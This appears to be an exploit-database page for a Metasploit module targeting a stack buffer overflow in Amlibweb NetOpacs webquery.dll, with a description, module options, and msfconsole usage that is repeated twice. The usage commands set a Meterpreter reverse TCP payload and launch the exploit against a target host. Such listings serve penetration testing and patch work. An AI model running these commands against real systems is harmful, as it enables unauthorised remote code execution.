Amlibweb NetOpacs webquery.dll Stack Buffer Overflow
This module exploits a stack buffer overflow in Amlib's Amlibweb Library Management System (NetOpacs). The webquery.dll API is available through IIS requests. By specifying an overly long string to the 'app' parameter, SeH can be reliably overwritten allowing for arbitrary remote code execution. In addition, it is possible to overwrite EIP by specifying an arbitrary parameter name with an '=' terminator.
Exploit Rank
- Normal
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 Pro All - English (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/http/adobe_robohelper_authbypass
- exploit/windows/http/altn_securitygateway
- exploit/windows/http/altn_webadmin
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/badblue_ext_overflow
- exploit/windows/http/badblue_passthru
- exploit/windows/http/bea_weblogic_jsessionid
- exploit/windows/http/bea_weblogic_post_bof
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/http/amlibweb_webquerydll_app
msf exploit(amlibweb_webquerydll_app) > show payloads
msf exploit(amlibweb_webquerydll_app) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(amlibweb_webquerydll_app) > set LHOST [MY IP ADDRESS]
msf exploit(amlibweb_webquerydll_app) > set RHOST [TARGET IP]
msf exploit(amlibweb_webquerydll_app) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/http/amlibweb_webquerydll_app
msf exploit(amlibweb_webquerydll_app) > show payloads
msf exploit(amlibweb_webquerydll_app) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(amlibweb_webquerydll_app) > set LHOST [MY IP ADDRESS]
msf exploit(amlibweb_webquerydll_app) > set RHOST [TARGET IP]
msf exploit(amlibweb_webquerydll_app) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |